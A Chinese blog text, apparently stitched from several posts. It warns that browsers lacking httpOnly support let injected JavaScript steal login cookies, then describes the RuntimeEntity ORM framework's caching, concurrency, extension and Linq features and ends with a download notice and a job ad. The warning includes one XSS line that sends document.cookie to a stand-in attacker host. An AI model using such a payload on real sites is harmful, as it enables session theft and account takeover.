自从IE6 SP1起 , 这个浏览器就支持cookie的httpOnly属性.
这个属性, 告诉浏览器, 使用 window.document.cookie 不允许访问该cookie .
而在ASP.NET2.0中 , 这个属性也得到了支持, 并且在FormAuthentication中指定该属性.
但是,FireFox等浏览器, 并不支持该属性. 那么这个带来什么后果?
例如 , 假如你用FireFox登录博客园(www.cnblogs.com), 然后到一个恶意的用户的文章去.
你知道cnblogs.com允许用户随意增加javascript的.
那么该用户就能得到你的cookie,然后用一个简单的方法,把你的cookie发送到他的数据库去:
hiddenImg.src="http://hackyourlogininfo.com/savecookie.aspx?cookie="+escape(document.cookie)
当然,ASP.NET发送给客户端的信息是加密过的.
但是别人可以直接通过伪造COOKIE,直接使用该cookie,以你的身份登录博客园.
所以 - 用FireFox登录博客园类似的网站, 你的帐户信息随时会被盗.
但是如果使用IE6SP1,IE7,就不会存在该问题.
因为它支持httpOnly,所以使用document.cookie并不能取得ASP.NET的登录信息.
RuntimeEntity除了简单易用,性能优越之外. 还有一些很有特色的机制:
负载平衡下的缓存版本控制.
通常如果一个使用缓存的应用程序,都会遇到一个问题:
如何保证每个进程的缓存都是最新的?
如果每个进程中的数据不是最新,那么一个应用程序将会发生不可预知的错误.
这种不稳定性是会让人睡不了觉的.
通常一些系统会有这样的做法:
1.完全不做缓存的同步或检查 , 错误就错误, 由它.
有时候这种做法也是无奈的,因为项目资金有限,或者架构上已经定型.不好处理.
2.使用分布式架构, 用一台服务器访问数据/或者缓存数据.
这个做法的最大问题就是导致序列化的开销. 大大地降低系统性能.
RuntimeEntity使用一种特殊的缓存方案.
具体的原理是,在每台服务器上, 都自行存放数据.
当服务器上的代码通过RuntimeEntity加载数据时,
RuntimeEntity会去向"版本服务器"查询数据的版本.
也就是说,这个方案和分布式缓存最大的不同就是 ,
每台服务器需要较大的内存 , 但是只进行极少的数据通信, 完全避免序列化.
这个方案通过配置完成. 完全不需要改动代码.
使用RuntimeEntity编写一次代码 , 就轻易实现在性能方面的伸缩性要求.
数据库服务器端并发检查
RuntimeEntity提供了2个级别的并发检查.
默认是应用程序进程内的对象的自动锁定,尽量避免并发问题.
一旦出现数据的并发错误,就会抛出异常,阻止错误的操作,保证数据的正确性.
这种级别的并发检查, 适合部署在单进程的Web服务器中.
一旦需要部署在多个服务器中进行负载平衡 , 那么单靠进程内检查是远远不够的.
所以RuntimeEntity提供了,和DLinq类似的, 数据库服务器端的并发检查.
一旦要进行UPDATE/DELETE,就会发送所有的本地数据到数据库上进行比较.
这个操作会稍微降低性能. 但是它是可选的. 只需要进行配置就OK. 无需额外编码.
开发人员还可以使用Timestamp类型进行更好的检查机制.
(在数据表加一个Timestamp字段就OK了,无需编码)
这个也是数据库服务器端的检查,而且性能更好.
强大的子类化扩展方案当一家软件公司希望开发通用的应用程序时, 总会遇到一个问题:
如何在不修改现有代码的情况下,改变系统的默认行为,针对具体情况进行扩展?
RuntimeEntity在不改动代码的情况下, 直接提供一个子类化的扩展方案.
具体原理就是RuntimeEntity的代码编写中, 是不存在new MyRecord()这样的创建对象的方式的.
任何NewRow,LoadRow操作创建对象,都是由RuntimeEntity代理.
当进行适当的配置后, 在执行例如RuntimeEntity.NewRow<MyEntity>()的时候,
RuntimeEntity就可以根据配置, 创建一个 MyAnotherEntity 对象:
public abstract class MyAnotherEntity : MyEntity
{
override public void MyLogic()
{
base.MyLogic();
MyCustomOperation();
}
}
就如上面代码所示 , 通过override一个业务方法 , 直接就可以重写业务逻辑.
灵活,高性能的AOP方案RuntimeEntity在运行的时候, 根据配置, 允许其他类拦截Entity上的virtual的方法.
这个功能非常有用. 尤其当架构师想实现一些插件,扩展功能的时候.
当一个Entity的任何virtual方法被调用,或者是进行INSERT/UPDATE/DELETE的时候,
都能通过配置的方式,让扩展的代码得到通知,获取改变参数/返回值.
而这个功能的实现方式, 是在运行时进行编译, 性能非常高. 而又无需安装VS插件之类的.
- - - - - - - -
这些高级的功能, 大多都是可以在运行时进行扩展.
而不需要改变编码规则. 这也是RuntimeEntity的名字的来由.
RuntimeEntity Preview 中并不包含以上所列的功能.
之前发过3个相关的文章:
AbstractRecord 预告. (关键字 ORM,ActiveRecord,DomainModel)CSPAbstractRecord之Teddy's KB样式的性能报告.近况:AbstractRecord改名为RuntimeEntity,以及一个MVC框架的预告.因为最近比较忙. 所以一直没有继续做那个工程.
现在稍微空闲了些. 所以把之前做的版本整理了一下. 提供下载:
/Files/Lostinet/RuntimeEntityPreview.rar压缩文件内容简介:
RuntimeEntityPreview.dll 这个dll就是框架的运行库.
RuntimeEntityGenerator 使用这个帮助生成对应的类.(不是必须)
RuntimeEntityPetshop 一个可以执行运行的例子. 根据PetShop改编. 需要关联
Database文件夹内的数据库文件.
RuntimeEntityStart 一个中文描述的Console程序. 用于帮助读者最快速度了解RuntimeEntity.什么人该下载它 ?
一 : 看过之前的文章的,感兴趣的,想测试一下性能的.
二 : 自己也写过数据库访问框架的,可以拿来对比一下.
三 : 一直都没找到合适自己的数据库访问框架的.
四 : 总觉得数据库访问框架很复杂,想学习又怕难的.
...
RuntimeEntityPreview有什么好玩的?
+ : 极简单的代码编写与定制模式. 虽然比不上SubSonic方便,但是比SubSonic拥有更多的定制能力.
+ : 极高性能的实现. 欢迎拿去与各种情况做性能的比较.
+ : 有自制的Linq Provider. 可以执行这样的代码:
var q = from row in Order.LinqSource
where row.Customer.City.Substring(3).Trim().StartsWith("don")
select row;
有兴趣的可以考虑用Reflector打开RuntimeEntityQuery<T>.QueryProvider研究一下.
+ : 支持DLinq. 通过实现MappingSource,用DLinq来访问数据库:
(但是目前RuntimeEntityMappingSource没有包含在RuntimeEntityPreview内)
关于更加具体的,如何使用这个RunimeEntity,可以参考AbstractRecord预告那篇文章.
或者参考这篇还没有开始写的文章: [占个位置 , 如何使用RuntimeEntity访问数据库]
另外我们正在找有一年经验以上初中级的界面程序员:
CuteSoft珠海办事处诚招2位界面程序员